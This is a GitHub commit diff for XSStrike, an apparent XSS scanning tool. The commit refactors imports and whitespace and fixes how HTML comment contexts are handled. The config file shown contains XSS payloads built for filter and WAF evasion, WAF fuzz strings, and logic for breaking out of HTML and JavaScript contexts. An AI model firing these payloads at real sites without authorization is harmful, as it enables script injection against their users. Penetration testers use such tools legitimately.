Fixed HTML comment context handling + Refactor

This commit is contained in:
Somdev Sangwan
2018-11-15 15:41:01 +05:30
committed by GitHub
parent 60ec370775
commit 614e47276c
18 changed files with 81 additions and 74 deletions

View File

@@ -1,8 +1,9 @@
import re
import concurrent.futures
from core.requester import requester
import re
from core.colors import good, info, green, end
from core.config import blindParams, xsschecker, threadCount
from core.requester import requester
def checky(param, paraNames, url, headers, GET, delay, timeout):
if param not in paraNames:

View File

@@ -1,10 +1,11 @@
import re
import copy
from fuzzywuzzy import fuzz
import re
from urllib.parse import unquote
from core.config import xsschecker
from core.requester import requester
from core.utils import replacer, fillHoles
from urllib.parse import unquote
def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding):
checkString = 'st4r7s' + payload + '3nd'
@@ -16,7 +17,7 @@ def checker(url, params, headers, GET, delay, payload, positions, timeout, encod
for match in re.finditer('st4r7s', response):
reflectedPositions.append(match.start())
filledPositions = fillHoles(positions, reflectedPositions)
# Itretating over the reflections
# Itretating over the reflections
num = 0
efficiencies = []
for position in filledPositions:

View File

@@ -1,9 +1,9 @@
import sys
colors = True # Output should be colored
machine = sys.platform # Detecting the os of current system
colors = True # Output should be colored
machine = sys.platform # Detecting the os of current system
if machine.lower().startswith(('os', 'win', 'darwin', 'ios')):
colors = False # Colors shouldn't be displayed in mac & windows
colors = False # Colors shouldn't be displayed in mac & windows
if not colors:
end = red = white = green = yellow = run = bad = good = info = que = ''
else:

View File

@@ -1,10 +1,10 @@
changes = '''bug fixes;detection of up to 66 WAFs'''
defaultEditor = 'nano'
blindPayload = '' # your blind XSS payload
xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
blindPayload = '' # your blind XSS payload
xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
# More information on adding proxies: http://docs.python-requests.org/en/master/user/advanced/#proxies
# More information on adding proxies: http://docs.python-requests.org/en/master/user/advanced/#proxies
proxies = {'http' : 'http://0.0.0.0:8080', 'https' : 'http://0.0.0.0:8080'}
minEfficiency = 90
@@ -17,25 +17,25 @@ specialAttributes = ['srcdoc', 'src']
badTags = ('iframe', 'title', 'textarea', 'noembed', 'style', 'template', 'noscript')
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
jFillings = ('-', '*', ';', '/')
lFillings = ('', ' x')
eFillings = ('%09', '%0a', '%0d', '+') # "Things" to use between event handler and = or between function and =
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
eFillings = ('%09', '%0a', '%0d', '+') # "Things" to use between event handler and = or between function and =
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
eventHandlers = { # Event handlers and the tags compatible with them
eventHandlers = { # Event handlers and the tags compatible with them
'ontoggle': ['details'],
'onpointerenter': ['d3v', 'details', 'html', 'a'],
'onmouseover': ['a', 'html', 'd3v']
}
functions = ( # JavaScript functions to get a popup
functions = ( # JavaScript functions to get a popup
'[8].find(confirm)', 'confirm()',
'(confirm)()', 'co\u006efir\u006d()',
'(prompt)``', 'a=prompt,a()')
payloads = ( # Payloads for filter & WAF evasion
payloads = ( # Payloads for filter & WAF evasion
'\'"</Script><Html Onmouseover=(confirm)()//'
'<imG/sRc=l oNerrOr=(prompt)() x>',
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
@@ -57,7 +57,7 @@ payloads = ( # Payloads for filter & WAF evasion
'<img src=x onerror=confir\u006d`1`>',
'<svg/onload=co\u006efir\u006d`1`>')
fuzzes = ( # Fuzz strings to test WAFs
fuzzes = ( # Fuzz strings to test WAFs
'<test', '<test//', '<test>', '<test x>', '<test x=y', '<test x=y//',
'<test/oNxX=yYy//', '<test oNxX=yYy>', '<test onload=x', '<test/o%00nload=x',
'<test sRc=xxx', '<test data=asa', '<test data=javascript:asa', '<svg x=y>',

View File

@@ -1,4 +1,5 @@
import re
from core.colors import red, end, yellow
def dom(response):

View File

@@ -1,8 +1,8 @@
import re
import base64 as b64
import re
def base64(string):
if re.match(r'^[A-Za-z0-9+\/=]+$', string) and (len(string) % 4) == 0:
return b64.b64decode(string.encode('utf-8')).decode('utf-8')
else:
return b64.b64encode(string.encode('utf-8')).decode('utf-8')
return b64.b64encode(string.encode('utf-8')).decode('utf-8')

View File

@@ -1,11 +1,12 @@
import copy
from time import sleep
from random import randint
from core.utils import replacer
from core.requester import requester
from core.config import fuzzes, xsschecker
from time import sleep
from urllib.parse import unquote
from core.colors import end, red, green, yellow, bad, good, info
from core.config import fuzzes, xsschecker
from core.requester import requester
from core.utils import replacer
def counter(string):
special = '\'"=/:*&)(}{][><'

View File

@@ -1,6 +1,6 @@
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
from core.jsContexter import jsContexter
from core.utils import randomUpper as r, genGen, extractScripts
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
def generator(occurences, response):
scripts = extractScripts(response)
@@ -83,7 +83,6 @@ def generator(occurences, response):
except:
continue
closer = jsContexter(script)
validBreakers = ['\'', '"', '`']
scriptEfficiency = occurences[i]['score']['</scRipT/>']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = occurences[i]['score'][breaker]

View File

@@ -1,23 +1,23 @@
import re
from core.config import badTags
from core.config import xsschecker
from core.config import badTags, xsschecker
def htmlParser(response, encoding):
rawResponse = response
response = response.text
if encoding:
response = response.replace(encoding(xsschecker), xsschecker)
tags = [] # tags in which the input is reflected
locations = [] # contexts in which the input is reflected
attributes = [] # attribute names
environments = [] # strings needed to break out of the context
tags = [] # tags in which the input is reflected
locations = [] # contexts in which the input is reflected
attributes = [] # attribute names
environments = [] # strings needed to break out of the context
positions = []
for match in re.finditer(xsschecker, response):
positions.append(match.start())
parts = response.split(xsschecker)
parts.remove(parts[0]) # remove first element since it doesn't contain xsschecker
parts = [xsschecker + s for s in parts] # add xsschecker in front of all elements
for part in parts: # iterate over the parts
parts.remove(parts[0]) # remove first element since it doesn't contain xsschecker
parts = [xsschecker + s for s in parts] # add xsschecker in front of all elements
for part in parts: # iterate over the parts
deep = part.split('>')
if '</script' in deep[0]:
location = 'script'
@@ -38,31 +38,31 @@ def htmlParser(response, encoding):
if '<' not in response:
if rawResponse.headers['Content-Type'] == 'text/html':
location = 'html'
locations.append(location) # add location to locations list
num = 0 # dummy value to keep record of occurence being processed
for occ in re.finditer(xsschecker, response, re.IGNORECASE): # find xsschecker in response and return matches
toLook = list(response[occ.end():]) # convert "xsschecker to EOF" into a list
for loc in range(len(toLook)): # interate over the chars
if toLook[loc] in ('\'', '"', '`'): # if the char is a quote
environments.append(toLook[loc]) # add it to enviornemts list
locations.append(location) # add location to locations list
num = 0 # dummy value to keep record of occurence being processed
for occ in re.finditer(xsschecker, response, re.IGNORECASE): # find xsschecker in response and return matches
toLook = list(response[occ.end():]) # convert "xsschecker to EOF" into a list
for loc in range(len(toLook)): # interate over the chars
if toLook[loc] in ('\'', '"', '`'): # if the char is a quote
environments.append(toLook[loc]) # add it to enviornemts list
tokens = response.split('<')
goodTokens = [] # tokens which contain xsschecker
for token in tokens: # iterate over tokens
if xsschecker in token: # if xsschecker is in token
goodTokens.append(token) # add it to goodTokens list
goodTokens = [] # tokens which contain xsschecker
for token in tokens: # iterate over tokens
if xsschecker in token: # if xsschecker is in token
goodTokens.append(token) # add it to goodTokens list
attrs = token.split(' ')
for attr in attrs:
if xsschecker in attr:
attributes.append(attr.split('=')[0])
break
try:
tag = re.search(r'\w+', goodTokens[num]).group() # finds the tag "inside" which input is refelcted
tag = re.search(r'\w+', goodTokens[num]).group() # finds the tag "inside" which input is refelcted
except IndexError:
try:
tag = re.search(r'\w+', goodTokens[num - 1]).group() # finds the tag "inside" which input is refelcted
tag = re.search(r'\w+', goodTokens[num - 1]).group() # finds the tag "inside" which input is refelcted
except IndexError:
tag = 'null'
tags.append(tag) # add the tag to the tags
tags.append(tag) # add the tag to the tags
break
elif toLook[loc] == '<':
if toLook[loc + 1] == '/':
@@ -79,8 +79,8 @@ def htmlParser(response, encoding):
occurences = {}
for i, loc, env, tag, attr, position in zip(range(len(locations)), locations, environments, tags, attributes, positions):
occurences[i] = {}
if loc == 'comment':
value = '-->'
occurences[i]['position'] = position
if loc == 'comment':
env = '-->'
occurences[i]['context'] = [loc, env, tag, attr]
return [occurences, positions]

View File

@@ -1,6 +1,7 @@
import re
from core.utils import stripper
from core.config import xsschecker
from core.utils import stripper
def jsContexter(script):
broken = script.split(xsschecker)
@@ -28,4 +29,4 @@ def jsContexter(script):
elif breaker == ']':
breaker = stripper(breaker, ']')
num += 1
return breaker[::-1]
return breaker[::-1]

View File

@@ -1,17 +1,16 @@
# Let's import what we need
from re import findall
import concurrent.futures
from re import findall
from urllib.parse import urlparse
from core.colors import run
from core.zetanize import zetanize
from core.requester import requester
from core.utils import getUrl, getParams
from core.requester import requester
from core.zetanize import zetanize
def photon(seedUrl, headers, level, threadCount, delay, timeout):
forms = [] # web forms
processed = set() # urls that have been crawled
storage = set() # urls that belong to the target i.e. in-scope
forms = [] # web forms
processed = set() # urls that have been crawled
storage = set() # urls that belong to the target i.e. in-scope
schema = urlparse(seedUrl).scheme
host = urlparse(seedUrl).netloc
main_url = schema + '://' + host
@@ -29,8 +28,8 @@ def photon(seedUrl, headers, level, threadCount, delay, timeout):
response = requester(url, params, headers, True, delay, timeout).text
forms.append(zetanize(response))
matches = findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response)
for link in matches: # iterate over the matches
link = link.split('#')[0] # remove everything after a "#" to deal with in-page anchors
for link in matches: # iterate over the matches
link = link.split('#')[0] # remove everything after a "#" to deal with in-page anchors
if link[:4] == 'http':
if link.startswith(main_url):
storage.add(link)

View File

@@ -1,5 +1,6 @@
import os
import tempfile
from core.config import defaultEditor
def prompt(default=None):

View File

@@ -1,7 +1,8 @@
import time
import random
import warnings
import requests
import time
import warnings
import core.config
warnings.filterwarnings('ignore') # Disable SSL related warnings

View File

@@ -1,8 +1,9 @@
import re
import os
import re
from requests import get
from core.config import changes
from core.colors import run, que, good, info, red, end, green
from core.colors import run, que, good, info, end, green
def updater():
print('%s Checking for updates' % run)
@@ -27,4 +28,4 @@ def updater():
os.system('cp -r %s/%s/* %s && rm -r %s/%s/ 2>/dev/null' % (path, folder, path, path, folder))
print('%s Update successful!' % good)
else:
print('%s XSStrike is up to date!' % good)
print('%s XSStrike is up to date!' % good)

View File

@@ -1,8 +1,9 @@
import re
import json
import random
from core.config import xsschecker
import re
from core.colors import info, red, end
from core.config import xsschecker
def verboseOutput(data, name, verbose):
if verbose:
@@ -131,4 +132,4 @@ def getParams(url, data, GET):
params[each[0]] = each[1]
except IndexError:
params = None
return params
return params

View File

@@ -1,5 +1,6 @@
import re
import json
import re
from core.requester import requester
def wafDetector(url, params, headers, GET, delay, timeout):

View File

@@ -36,4 +36,4 @@ def zetanize(response):
}
forms[num]['inputs'].append(inpDict)
num += 1
return forms
return forms

View File

@@ -33,7 +33,7 @@ print('''%s
try:
import concurrent.futures
from urllib.parse import quote_plus, unquote, urlparse
from urllib.parse import unquote, urlparse
except ImportError: # throws error in python2
print('%s XSStrike isn\'t compatible with python2.\n Use python > 3.4 to run XSStrike.' % bad)
quit()
@@ -215,7 +215,6 @@ def singleTarget(target, paramData, verbose, encoding):
def multiTargets(scheme, host, main_url, form, domURL, verbose, blindXSS, blindPayload, headers, delay, timeout):
signatures = set() # TODO(NN) unused
if domURL and not skipDOM:
response = requester(domURL, {}, headers, True, delay, timeout).text
highlighted = dom(response)